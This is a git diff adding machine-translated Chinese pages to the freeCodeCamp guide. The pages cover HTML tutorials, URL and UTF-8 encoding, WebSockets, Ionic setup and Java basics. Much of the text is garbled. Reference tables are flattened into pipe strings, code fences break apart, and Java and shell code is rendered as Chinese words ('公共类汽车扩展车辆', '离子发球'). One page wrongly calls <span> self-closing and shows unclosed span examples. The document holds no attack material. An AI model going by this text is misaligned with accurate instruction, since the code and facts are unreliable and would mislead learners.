+++ b/client/src/guide/chinese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Insert Spaces or Tabs in Text Using HTML and CSS
+localeTitle: 如何使用HTML和CSS在文本中插入空格或制表符
+---
+## 如何使用HTML和CSS在文本中插入空格或制表符
+
+使用html插入空格的方法有很多种。为简单起见，我们会 通过插入Span标签来查看其中一个。
+
+## 跨度标签
+
+`<span>`
+
+Span标签`<span>`是自闭标签，意味着它们不需要`/>` 。
+
+## 跨度示例
+
+有关`<span>`标记如何在文本之间插入空格的示例，请参见下文。
+
+`<p>Hello may name is <span> James</p>`
+
+如果您为`<span>`分配了一个类，那么您可以为其添加一些css。 像这样，
+
+`<p>Hello my name is <span class=tab> James</p>`
+
+然后在外部样式表或内部样式表中，您可以给出`class .tab` 一些属性。
+
+## 跨类实例
+
+例如
+
+`.tab {padding-left: 2px;}`
+
+您还可以为`<span>`一些内联样式属性，如下所示。
+
+`<p>Hello my name is <span style="padding-left: 2px;"> James</p>`
+
+## 更多信息
+
+有关标签或更多信息;如何在文本中插入空格或制表符使用HTML和CSS，您可以访问w3schools。 https://www.w3schools.com/tags/tag\_span.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/how-to-use-links/index.md b/client/src/guide/chinese/html/tutorials/how-to-use-links/index.md
new file mode 100644
index 0000000000..be3e38218a
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/how-to-use-links/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Use Links
+localeTitle: 如何使用链接
+---
+## 如何使用链接
+
+在HTML中，您可以使用`<a>`标签创建链接。例如，您可以编写`<a href="https://www.freecodecamp.org/">freeCodeCamp</a>`来创建指向freeCodeCamp网站的链接。
+
+几乎所有网页都有链接。链接允许用户在页面之间单击他们的方式。
+
+HTML链接是超链接。您可以单击链接并跳转到另一个文档。
+
+当您将鼠标移到链接上时，鼠标箭头将变成一只小手。
+
+注意：链接不必是文本。它可以是图像或任何其他HTML元素。
+
+在HTML中，链接使用标记定义：
+
+```html
+
+<a href="url">link text</a> 
+```
+
+例
+
+```html
+
+<a href="https://www.freecodecamp.org/">Visit our site for tutorials</a> 
+```
+
+href属性指定链接的目标地址（https://www.freecodecamp.org）。
+
+链接文本是可见部分（访问我们的网站获取教程）。
+
+单击链接文本将发送到指定的地址。
+
+#### 更多信息：
+
+*   [MDN - HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) 参考
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/how-to-use-lists/index.md b/client/src/guide/chinese/html/tutorials/how-to-use-lists/index.md
new file mode 100644
index 0000000000..3dc777285a
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/how-to-use-lists/index.md
@@ -0,0 +1,85 @@
+---
+title: How to Use Lists
+localeTitle: 如何使用列表
+---
+## 如何使用列表
+
+列表用于以良好形式和语义的方式指定一组连续项或相关信息，例如成分列表或程序步骤列表。 HTML标记有三种不同类型的列表- **有序** **，unordored**和**说明**列表。
+
+### 订购列表
+
+有序列表用于按特定顺序对一组相关项目进行分组。 此列表使用`<ol>`标记创建。每个列表项都包含`<li>`标记。
+
+##### 码
+
+```html
+
+<ol> 
+    <li>Mix ingredients</li> 
+    <li>Bake in oven for an hour</li> 
+    <li>Allow to stand for ten minutes</li> 
+ </ol> 
+```
+
+##### 例
+
+1.  混合成分
+2.  在烤箱里烤一小时
+3.  允许站立十分钟
+
+### 无序列表
+
+无序列表用于按照特定顺序对一组相关项进行分组。此列表使用`<ul>`标记创建。每个列表项都包含`<li>`标记。
+
+##### 码
+
+```html
+
+<ul> 
+    <li>Chocolate Cake</li> 
+    <li>Black Forest Cake</li> 
+    <li>Pineapple Cake</li> 
+ </ul> 
+```
+
+#### 例
+
+*   巧克力蛋糕
+*   黑森林蛋糕
+*   菠萝蛋糕
+
+### 说明列表
+
+描述列表用于指定术语列表及其描述。此列表使用`<dl>`标记创建。每个列表项都包含`<dd>`标记。
+
+##### 码
+
+```html
+
+<dl> 
+    <dt>Bread</dt> 
+    <dd>A baked food made of flour.</dd> 
+    <dt>Coffee</dt> 
+    <dd>A drink made from roasted coffee beans.</dd> 
+ </dl> 
+```
+
+##### 产量
+
+面包
+
+由面粉制成的烘焙食品。
+
+咖啡
+
+由烘焙过的咖啡豆制成的饮料。
+
+#### 造型清单
+
+您还可以控制列表的样式。您可以使用`list-style`属性。您的列表可以是子弹，方形，罗马数字，也可以是您想要的图像。
+
+`list-style`属性是`list-style-type` ， `list-style-position` ， `list-style-image`的简写。
+
+#### 更多信息：
+
+\[HTML列表·Web平台文档\]（https://webplatform.github.io/docs/guides/html\_lists/ ）
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/images-in-html/index.md b/client/src/guide/chinese/html/tutorials/images-in-html/index.md
new file mode 100644
index 0000000000..de151fac4d
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/images-in-html/index.md
@@ -0,0 +1,51 @@
+---
+title: Images in HTML
+localeTitle: HTML中的图像
+---
+## 介绍
+
+您可以使用`<img>`标记定义图像。它没有结束标记，因为它只能包含属性。 要插入图像，您需要定义源，并在无法渲染图像时显示替代文本。
+
+`src` - 此属性提供您的PC /笔记本电脑上存在的图像的URL或者包含在其他网站中的图像。请记住，提供的链接不应该被破坏，否则图片将不会在您的网页上生成。
+
+`alt` - 此属性用于克服图像损坏或浏览器无法在网页上生成图像的问题。这个名称的属性建议为图像提供“替代”，这是描述图像的一些“文本”
+
+## 例
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" /> 
+```
+
+### 要定义图像的高度和宽度，可以使用height和width属性：
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" height="100" width="150"/> 
+```
+
+### 您还可以定义边框粗细（0表示没有边框）：
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" border="2"/> 
+```
+
+### 对齐图像：
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" align="left"/> 
+```
+
+### 您还可以在style属性中使用样式：
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" style="width: 100px; height: 150px;"/> 
+```
+
+#### 更多信息
+
+*   看到在该页面freeCodeCamp `<img>`标签[在这里](https://guide.freecodecamp.org/html/elements/img-tag) 。
+*   要获取有关HTML中图像的更多详细信息，请查看[MDN文档](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Img)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/index.md b/client/src/guide/chinese/html/tutorials/index.md
new file mode 100644
index 0000000000..2b4f040b50
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: 教程
+---
+## 教程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/redirect-from-an-html-page/index.md b/client/src/guide/chinese/html/tutorials/redirect-from-an-html-page/index.md
new file mode 100644
index 0000000000..a439592753
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/redirect-from-an-html-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Redirect from an HTML Page
+localeTitle: 从HTML页面重定向
+---
+## 从HTML页面重定向
+
+如果您更改了HTML网页的网址并希望自动将访问者重定向到网页的新位置，则可以在旧HTML网页的`<head>`区域内使用元标记。
+
+`html <head> <meta http-equiv="refresh" content="0; url=http://freecodecamp.org/" /> </head>` 在上面的示例中，页面的访问者将从旧的html页面重定向到[http://freecodecamp.org/](http://freecodecamp.org/) 。 `content="0`的属性意味着浏览器将在0秒后重定向到新页面。将值更改为`content="2`将在2秒后重定向。
+
+#### 更多信息：
+
+*   [MDN - HTTP中的重定向](https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/text-formatting-in-html/index.md b/client/src/guide/chinese/html/tutorials/text-formatting-in-html/index.md
new file mode 100644
index 0000000000..2aeacdcd56
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/text-formatting-in-html/index.md
@@ -0,0 +1,61 @@
+---
+title: Text Formatting in HTML
+localeTitle: HTML中的文本格式
+---
+## HTML中的文本格式
+
+HTML为文本格式提供了许多有用的元素。它允许您的文本：粗体，斜体，标记等等。改变你的文字风格并非没有任何理由 - 主要的是让读者去看一些重要的笔记。
+
+### 大胆而坚强
+
+您可以使用HTML `<b>`元素轻松更改文本含义。它使单词变粗，哪个函数单独列出序列片段。例如：
+```
+The most important part of your code is <b>the end</b>, because if you <b>don't close</b> the element, it will affect to <b>everything</b>! 
+```
+
+您也可以使用`<strong>` - 它还增加了语义“强”的重要性。您的浏览器无法识别这两个元素之间的差异，但它存在。
+
+### 斜体和强调
+
+通常用于引用某些内容或在很多文章中翻译单词。它使它们变成斜体 - 想象一下，用正确的字母踢了一下。例如：
+```
+Theatre - <i>teatos</i>, <i>teates</i> and <i>teatron</i>. 
+```
+
+您也可以使用`<em>` - 它还增加了语义“强调”的重要性。您的浏览器无法识别这两个元素之间的差异，但它存在。
+
+### 小
+
+它使您的文本小于使用字体的正常大小。这个元素的含义在HTML5中有所改变 - 它代表了侧面评论和小字体。
+
+`Normal, <small>small</small>, normal, <small>small</small>!`
+
+### 标记
+
+元素`<mark>`使您的文字被标记 - 用不同的词语，它会使您的文字突出显示。您可以使用它来告诉读者这是您文章中的重要内容之一。例如：
+
+`HTML is full of things and <mark>it's our journey</mark> to get known them better!`
+
+### 删除
+
+元素`<del>`使您的文本在中心受到攻击。显示文档中的更改很有用。
+
+`WWI started in <del>1913</del> 1914 year.`
+
+### 插入
+
+标签`<ins>`使您的文本插入文章。使用其他更易于理解的词语 - 添加。它在插入的文本下显示一行。
+
+`HTML isn't boring. <ins>You can make a lot of combinations of elements!</ins>`
+
+### 下标
+
+使用元素`<sub>`为您提供有用的格式作为下标文本（在底部显示较小）。有一个示例代码：
+
+`This was in 2003 year <sub>(needs a link).`
+
+### 上标
+
+如果要与下标文本相反，则可以轻松使用`<sup>`元素。它在顶部显示较小的文本。
+
+`10<sup>x+y</sup> = 1000`
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md b/client/src/guide/chinese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
new file mode 100644
index 0000000000..9945931504
--- /dev/null
+++ b/client/src/guide/chinese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
@@ -0,0 +1,11 @@
+---
+title: Use Tab Space Instead of Multiple Non Breaking Spaces Nbsp
+localeTitle: 使用制表符空格而不是多个非打破空格
+---
+## 使用制表符空格而不是多个非打破空格
+
+在HTML中，添加多个空格的最常用方法是添加`&nbsp;`为每个空间。要添加标签空间，请将文本放在`<pre>`标签中，例如`<pre>My Text Here</pre>` ，每个标签将被视为八个空格。在HTML中添加多个空格的另一种方法是使用CSS，例如`<p style="padding-right: 5px;">My Text Here</p>` 。
+
+#### 更多信息：
+
+*   [MDN - 预格式化文本元素](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/url-encoding-reference/index.md b/client/src/guide/chinese/html/url-encoding-reference/index.md
new file mode 100644
index 0000000000..bccfdbd625
--- /dev/null
+++ b/client/src/guide/chinese/html/url-encoding-reference/index.md
@@ -0,0 +1,36 @@
+---
+title: Url Encoding Reference
+localeTitle: 网址编码参考
+---
+## 网址编码参考
+
+URL是网站的地址。就像邮政地址必须遵循邮递员理解的特定格式一样，URLS必须遵循要理解的格式并将您带到正确的位置。
+
+URL字符串中只允许使用某些字符，字母字符，数字和几个字符`; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #`可以有特殊含义。
+
+#### 保留字符：
+
+|人物|意义| | --- | --- | | ：|从地址|中分离协议（http） | / |单独的域和目录| | ＃|单独的锚| | ？ |单独的查询字符串| | ＆|单独的查询元素| | @ |从域名中分离用户名和密码 | ％|表示编码字符| | + |表示空格|
+
+#### 编码方式：
+
+任何不是字母字符，数字或保留字符的字符都需要进行编码。
+
+URL使用ASCII（“美国信息交换标准代码”）字符集，因此编码必须是有效的ASCII格式。
+
+大多数Web语言都有函数为您执行此编码，例如在JavaScript `encodeURI()`和PHP `rawurlencode()` 。
+
+|人物|编码| | --- | --- | |空间| ％20 | | ！ | ％21 | | “|％22 | | ＃| ％23 | | $ | ％24 | | ％| ％25 | | ＆| ％26 | | '| ％27 | | （|％28 | | ）| ％29 | | \* | ％2A | | + | ％2B | | ，| ％2C | | - | ％2D | | 。 | ％2E | | / | ％2F | | 0 | ％30 | | 1 | ％31 | | 2 | ％32 | | 3 | ％33 | | 4 | ％34 | | 5 | ％35 | | 6 | ％36 | | 7 | ％37 | | 8 | ％38 | | 9 | ％39 | | ：| ％3A | | ; | ％3B | | <| ％3C | | = | ％3D | | > | ％3E | | ？ | ％3F | | @ | ％40 | | A | ％41 | | B | ％42 | | C | ％43 | | D | ％44 | | E | ％45 | | F | ％46 | | G | ％47 | | H | ％48 | |我| ％49 | | J | ％4A | | K | ％4B | | L | ％4C | | M | ％4D | | N | ％4E | | O | ％4F | | P | ％50 | |问| ％51 | | R | ％52 | | S | ％53 | | T | ％54 | | U | ％55 | | V | ％56 | | W | ％57 | | X | ％58 | | Y | ％59 | | Z | ％5A | | \[| ％5B | | \\ | ％5C | | \] | ％5D | | ^ | ％5E | | \_ | ％5F | | \`| ％60 | |一个| ％61 | | b | ％62 | | c | ％63 | | d | ％64 | | e | ％65 | | f | ％66 | | g | ％67 | | h | ％68 | |我| ％69 | | j | ％6A | | k | ％6B | | l | ％6C | | m | ％6D | | n | ％6E | | o | ％6F | | p | ％70 | | q | ％71 | | r | ％72 | | s | ％73 | | t | ％74 | |你的％75 | | v | ％76 | | w | ％77 | | x | ％78 | | y | ％79 | | z | ％7A | | {| ％7B | | | | ％7C | | } | ％7D | | 〜| ％7E | | ¢| ％A2 | | £| ％A3 | | ¥| ％A5 | | | | ％A6 | | §| ％A7 | | «| ％AB | | ¬| ％AC | | ¯| ％AD | | º| ％B0 | | ±| ％B1 | | ª| ％B2 | | ，| ％B4 | | μ| ％B5 | | »| ％BB | | ¼| ％BC | | ½| ％BD | | ¿| ％BF | | À| ％C0 | | Á| ％C1 | | Â| ％C2 | | Ã| ％C3 | | Ä| ％C4 | | Å| ％C5 | | Æ| ％C6 | | Ç| ％C7 | | È| ％C8 | | É| ％C9 | | Ê| ％CA | | Ë| ％CB | | Ì| ％CC | | Í| ％CD | | Î| ％CE | |我是％CF | | Ð| ％D0 | | Ñ| ％D1 | | Ò| ％D2 | | Ó| ％D3 | | Ô| ％D4 | | Õ| ％D5 | | Ö| ％D6 | | Ø| ％D8 | | Ù| ％D9 | | Ú| ％DA | | Û| ％DB | | Ü| ％DC | | Ý| ％DD | | Þ| ％DE | | ß| ％DF | | à| ％E0 | | á| ％E1 | | â ％E2 | | ã| ％E3 | | ä| ％E4 | | å| ％E5 | | æ| ％E6 | | ç| ％E7 | | è| ％E8 | | é| ％E9 | | ê| ％EA | | ë| ％EB | | ì| ％EC | | í| ％ED | | î| ％EE | | ï| ％EF | | ð| ％F0 | | ñ| ％F1 | | ò| ％F2 | | ó| ％F3 | | ô| ％F4 | | õ| ％F5 | | ö| ％F6 | | ÷| ％F7 | | ø| ％F8 | | ù| ％F9 | | ú| ％FA | | û| ％FB | | ü| ％FC | | ý| ％FD | | þ| ％FE | | ÿ| ％FF |
+
+#### 例：
+
+```js
+encodeURI(Free Code Camp); 
+ // Free%20Code%20Camp 
+```
+
+#### 更多信息：
+
+[MDN encodeURI（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI)
+
+\[https://www.w3schools.com/tags/ref\_urlencode.asp\](HTML URL编码参考）
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/utf-8-reference/index.md b/client/src/guide/chinese/html/utf-8-reference/index.md
new file mode 100644
index 0000000000..4a5de95b42
--- /dev/null
+++ b/client/src/guide/chinese/html/utf-8-reference/index.md
@@ -0,0 +1,38 @@
+---
+title: UTF 8 Reference
+localeTitle: UTF 8参考
+---
+## UTF 8参考
+
+UTF 8是一种编码方案，用于将我们在屏幕上看到的字符转换为计算机可以存储的数字。指定像UTF8这样的字符编码将允许浏览器正确显示高级字符，如重音字母和表情符号。
+
+在HTML文档中，您可以通过将此元标记放在HTML页面的`head`标记中来指定页面上的字符编码： `<meta charset="UTF-8">` 。 UTF 8是标准编码。
+
+开发[Unicode](https://www.unicode.org/)标准是为了适应世界各地语言中使用的字符。
+
+可是等等！ Unicode与UTF 8有什么关系？ UTF 8是编码方案，但了解Unicode是字符集定义很重要。简单来说，这意味着Unicode定义了一个唯一的数字 - 称为代码点 - 用于世界各地的语言中使用的许多主要字符，UTF 8将字符翻译（也称为编码）为计算机友好的二进制格式。 1这是一个例子：
+
+1.  你想在你的网页的某个地方提到freeCodeCamp（因为，你知道，freeCodeCamp是🔥🔥🔥）。
+    
+2.  Unicode中定义的拼写freeCodeCamp的字符代码是：
+    
+    | f | r | e | e | C | o | d | e | C |一个| m | p | | ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| ：---：| | 102 | 114 | 101 | 101 | 67 | 111 | 100 | 101 | 67 | 97 | 109 | 112 |
+    
+3.  UTF 8将代码点转换为二进制：1100110 1110010 1100101 1100101 1000011 1101111 1100100 1100101 1000011 1100001 1101101 1110000
+    
+
+### 如何在您的网页中使用UTF-8
+
+在头标记中指定一个带有UTF 8字符集的元标记。
+
+```html
+
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+```
+
+#### 更多信息：
+
+*   [Unicode字符代码图表](https://www.unicode.org/charts/index.html)
+*   [HTML Unicode参考](https://www.w3schools.com/charsets/ref_html_utf8.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/web-sockets/index.md b/client/src/guide/chinese/html/web-sockets/index.md
new file mode 100644
index 0000000000..3e3b1304f6
--- /dev/null
+++ b/client/src/guide/chinese/html/web-sockets/index.md
@@ -0,0 +1,19 @@
+# localeTitle: undefined
+WebSockets
+
+_Web套接字_是一种技术，允许您在客户端和服务器之间创建交互式连接，以实时交换数据。 WebSockets允许您在两个流中工作，从而将此技术与HTTP区分开来。
+
+## WebSockets如何工作？
+
+WebSockets不需要重复调​​用来响应。只需提出一个请求并等待响应就足够了。您可以收听服务器，该服务器会在准备就绪时发送答案。
+
+## 我什么时候可以使用WebSockets？
+
+*   实时应用程序
+*   聊天应用
+*   物联网应用
+*   多人游戏
+
+## 什么时候不使用WebSockets？
+
+95％的浏览器已经支持WebSockets，但有时这种技术并不是必需的。例如，如果您要创建一个不需要实时功能的简单CMS。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ionic/hello-world-in-ionic/index.md b/client/src/guide/chinese/ionic/hello-world-in-ionic/index.md
new file mode 100644
index 0000000000..9c304ad5d4
--- /dev/null
+++ b/client/src/guide/chinese/ionic/hello-world-in-ionic/index.md
@@ -0,0 +1,69 @@
+---
+title: Hello World In Ionic 
+localeTitle: 离子世界你好
+---
+# 爱奥尼亚的Hello World !!
+
+### 这是一篇社论，它将通过你在Ionic制作一个简单的Hello World程序。
+
+### 脚步
+
+#### 1.如果没有安装，请安装`ionic` ， `npm` ， `angular`和`cordova` 。\[有关详细信息，请参阅[第一篇](https://guide.freecodecamp.org/ionic)介绍\]
+
+```shell
+sudo apt-get install nodejs 
+ sudo apt-get install npm 
+ sudo npm install -g ionic cordova 
+```
+
+#### 2.创建名为`helloworld`的文件夹
+
+```shell
+ionic start helloworld blank 
+```
+
+注意： 由于这是小项目，因此在程序执行期间出现提示时输入No或N.
+
+#### 3.将目录更改为`helloworld` \[这是您的离子目录\]
+
+```shell
+cd helloworld 
+```
+
+#### 4.在文本编辑器中打开文件夹。你会看到各种文件和子文件夹。
+
+不要惊慌这些文件由npm为你自动生成。只需转到`src` - > `page` - > `home` - > `home.html` 。
+
+#### 5.基本文件格式
+```
+`home.html` is the html page where you can write html syntax.<br/> 
+ 
+ `home.scss` is the css page to write css syntax.<br/> 
+ 
+ `home.ts` is the typescript page to write typescript code. 
+```
+
+#### 6.删除模板并添加html语法，如图所示。
+
+```html
+
+ <ion-header> 
+  <ion-navbar> 
+    <ion-title> 
+      Ionic Project 
+    </ion-title> 
+   </ion-navbar> 
+  </ion-header> 
+ 
+  <ion-content padding> 
+   <h2>Hello World </h2> 
+  </ion-content> 
+ ``` 
+ 
+ 
+ #### 7. Save the code and run 
+```
+
+贝壳 离子发球 \`\`\`
+
+#### 8.要查看运行的代码，请转到浏览器并在URL中打开localhost：8100。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ionic/index.md b/client/src/guide/chinese/ionic/index.md
new file mode 100644
index 0000000000..bf894b4dc9
--- /dev/null
+++ b/client/src/guide/chinese/ionic/index.md
@@ -0,0 +1,45 @@
+---
+title: Ionic
+localeTitle: 离子的
+---
+## 离子框架
+
+Ionic是一个HTML5移动应用程序开发框架，旨在构建混合移动应用程序。
+
+混合应用程序与纯本机应用程序相比具有许多优势，特别是在平台支持，开发速度和第三方代码访问方面。
+
+### 使用Ionic构建混合应用程序
+
+那些熟悉Web开发的人会发现Ionic app的结构很简单。从本质上讲，它只是一个在本机应用程序shell中运行的网页！这意味着我们可以使用我们想要的任何类型的HTML，CSS和Javascript。
+
+大量的Ionic应用程序将使用HTML，Javascript和CSS编写。 Ionic还使用AngularJS来实现框架的许多核心功能。
+
+### 在我们开始玩Ionic之前。让我们先准备好我们的系统：
+```
+  nodeJS and npm 
+  Ionic 2 
+  Cordova 
+  Android Environment (or iOS if you're working on a MacOS) 
+```
+
+### 首先，我们需要有Node.js和npm。
+```
+  sudo apt-get update 
+  sudo apt-get install nodejs 
+```
+
+### Node.js包管理器（npm）
+
+\`\`\`  
+sudo apt-get install npm
+```
+### Ionic 2 and cordova 
+```
+
+sudo npm install -g ion cordova
+```
+### Now sit back and relax, give it some time to finish, it can take several minutes depending on your internet connection. 
+ Once that's done, Let's start off by generating a new project based on the “blank” template 
+```
+
+离子启动MyFirstApp空白 cd MyFirstApp 离子发球 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/ionic/ionicons/index.md b/client/src/guide/chinese/ionic/ionicons/index.md
new file mode 100644
index 0000000000..68cf9b9a8f
--- /dev/null
+++ b/client/src/guide/chinese/ionic/ionicons/index.md
@@ -0,0 +1,11 @@
+---
+title: Ionicons
+localeTitle: Ionicons
+---
+## Ionicons
+
+Ionicons是一个完全开源的图标集，专为网络，iOS，Android和桌面应用而设计。 Ionicons是为Ionic Framework而构建的，因此图标同时具有Material Design和iOS版本。 与Ionic一起使用时， `ion-icon`组件将根据您的平台自动使用正确的版本。 此外，在Ionic外部使用时，应用程序可以选择`ios`和`md`平台。
+
+### 资源
+
+*   [Ionicons](https://ionicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/ExceptionHandling b/client/src/guide/chinese/java/ExceptionHandling
new file mode 100644
index 0000000000..80189aff4d
--- /dev/null
+++ b/client/src/guide/chinese/java/ExceptionHandling
@@ -0,0 +1,34 @@
+---
+title: Exceptions in Java
+localeTitle: Java中的例外情况
+---
+## 什么是例外？
+
+异常是一个不需要的或意外的事件，它发生在程序执行期间，即在运行时，会破坏程序指令的正常流程。
+
+## 错误与异常
+
+错误：错误表示合理的应用程序不应该尝试捕获的严重问题。 例外：异常表示合理的应用程序可能尝试捕获的条件。
+
+## 异常层次结构
+
+所有异常和错误类型都是Throwable类的子类，它是层次结构的基类。一个分支以Exception为首。此类用于用户程序应捕获的异常条件。 NullPointerException是此类异常的示例。另一个分支，Java运行时系统（JVM）使用Error来指示与运行时环境本身（JRE）有关的错误。 StackOverflowError是此类错误的一个示例。
+
+## 如何使用try-catch子句
+```
+try { 
+ // block of code to monitor for errors 
+ // the code you think can raise an exception 
+ } 
+ catch (ExceptionType1 exOb) { 
+ // exception handler for ExceptionType1 
+ } 
+ catch (ExceptionType2 exOb) { 
+ // exception handler for ExceptionType2 
+ } 
+ // optional 
+ finally { 
+ // block of code to be executed after try block ends 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/abstract-class/index.md b/client/src/guide/chinese/java/abstract-class/index.md
new file mode 100644
index 0000000000..7aed592170
--- /dev/null
+++ b/client/src/guide/chinese/java/abstract-class/index.md
@@ -0,0 +1,26 @@
+---
+title: Abstract Classes in Java
+localeTitle: Java中的抽象类
+---
+让我们讨论抽象类。在深入学习本教程之前，最好先了解一下类的概念 和继承。
+
+抽象类是可以子类化（即扩展）但不能实例化的类。您可以将它们视为接口的**类版本** ，或者作为附加到方法的实际代码的接口。
+
+请考虑以下示例来理解抽象类： 您有一个类Vehicle，它定义机器应具有的某些基本功能（方法）和某些组件（对象变量），以归类为车辆。您无法创建Vehicle的对象，因为车辆本身就是一个抽象概念。但是，您可以扩展车辆类的功能以创建汽车或摩托车。
+
+\`\`\`java 抽象类车辆 { //用于声明no的变量。在车辆中的车轮 私人车轮;
+
+//变量用于定义所用电机的类型 私人电机;
+
+//一个只声明但不定义开头的抽象方法 //功能因为每辆车都使用不同的启动机制 abstract void start（）; }
+
+公共类汽车扩展车辆 { ... }
+
+公共类摩托车扩展车辆 { ... }
+```
+You cannot create an object of Vehicle class anywhere in your program. You can however, extend the abstract vehicle class and create objects of the child classes; 
+```
+
+java的 车辆newVehicle = new Vehicle（）; //无效 车辆车=新车（）; //有效 车辆mBike =新摩托车（）; //有效
+
+Car carObj = new Car（）; //有效 摩托车mBikeObj =新摩托车（）; //有效 \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/access-modifiers/index.md b/client/src/guide/chinese/java/access-modifiers/index.md
new file mode 100644
index 0000000000..06898830cc
--- /dev/null
+++ b/client/src/guide/chinese/java/access-modifiers/index.md
@@ -0,0 +1,123 @@
+---
+title: Access Modifiers
+localeTitle: 访问修饰符
+---
+# 访问修饰符
+
+你有没有想过定义人们如何访问你的一些房产？你不希望任何人使用你的内衣。但是，亲密的朋友和亲戚可以使用你的毛衣，也许你的车。
+
+与您设置访问级别的方式类似，Java也控制访问权限。您希望根据要访问它们的其他类来定义变量，方法和类的访问级别。
+
+Java提供了4级访问修饰符。这意味着您可以通过4种方式修改对变量，方法或类的访问。这4种方式是私有的，公共的，受保护的和默认的。
+
+这些访问修饰符可以应用于字段，方法和类（类是一种特殊情况，我们将在本文末尾查看它们）。以下是每个`Access Modifier`的`Access Levels`的快速概述1 ：
+
+#### 访问修饰符表参考：
+
+![访问修饰符表](https://i.imgur.com/zoMspyn.png)
+
+#### 私人访问修改器
+
+允许仅在创建变量或方法的类中访问它。除了创建变量或方法的类之外，没有其他类可以访问它。这与您的内脏非常相似。它们仅供业主使用。要将变量或方法设为私有，只需在变量或方法类型之前附加private关键字即可。 让我们在编码示例中使用private。如果一家银行想要为其贷款提供10％的利率，那么它将确保利率变量（让我们假设`int int_rate;` ）保持私有，以便其他类别不会尝试访问并更改它。 例如;
+
+`private String name;`
+
+上面的示例创建了一个名为name的变量，并确保它只能在创建它的类中访问。
+
+方法的另一个例子是 `java private void setAge(){ System.out.println("Set Age"); }` 上面的示例确保方法setAge只能在创建它的类中访问，而不能在其他任何地方访问。
+
+#### 公共访问修饰符
+
+公共访问修饰符与私有访问修饰符直接相反。类，方法或变量可以声明为public，这意味着可以从任何类访问它。公共访问修饰符可以比作公立学校，任何人都可以寻求入学和录取。
+
+可以随时从任何其他类访问公共类，方法或变量。
+
+例如，要将类声明为public，您只需要：
+
+```java
+public class Animal{ 
+ 
+ } 
+```
+
+因此，Animal类可以被任何其他类访问。
+
+```java
+public int age; 
+ public int getAge(){ 
+ } 
+```
+
+以上是将变量和方法指定为公共的方法。
+
+#### 默认访问修饰符
+
+默认访问修饰符与所有其他访问修饰符的不同之处在于它没有关键字。要使用默认访问修饰符，您只需使用其他访问修饰符，这只是意味着您使用的是默认访问修饰符。
+
+例如，要使用类的默认访问修饰符，请使用
+
+```java
+class Bird{ 
+ } 
+```
+
+这基本上意味着您正在使用默认访问修饰符。默认访问修饰符允许同一包中的其他类可以访问变量，方法或类。包是文件目录中相关类的集合。有关包的更多信息，请查看包中的部分。
+
+声明为使用默认访问修饰符的任何变量，方法或类都不能被声明它的包之外的任何其他类访问。
+
+```java
+int age; 
+ void setNewAge(){ 
+ } 
+```
+
+以上是对变量或方法使用默认访问修饰符的一些方法。 别忘了，默认访问修饰符没有关键字。缺少其他3个访问修饰符意味着您正在使用默认访问修饰符。
+
+#### 受保护的访问修饰符
+
+受保护的访问修饰符与默认访问修饰符密切相关。受保护的访问修饰符具有默认访问修饰符的属性，但稍有改进。
+
+变量和方法是唯一使用受保护的访问修饰符的方法。稍微改进的是，声明变量或方法的类包之外的类可以访问所述变量或方法。但是，如果它继承自Class，则这是可能的。
+
+来自另一个可以看到受保护变量或方法的包的类必须扩展创建变量或方法的类。
+
+注意，如果没有继承的优点，默认访问修饰符与受保护的访问修饰符具有完全相同的访问权限。
+
+使用受保护的访问修饰符的示例如下所示：
+
+```java
+protected int age; 
+ protected String getName(){ 
+  return "My Name is You"; 
+ } 
+```
+
+#### 访问类的修饰符
+
+默认情况下，类只能有2个修饰符：
+
+*   上市
+*   无修饰符（默认修饰符）
+
+那么这意味着类永远不能设置为`private`或`protected` ？
+
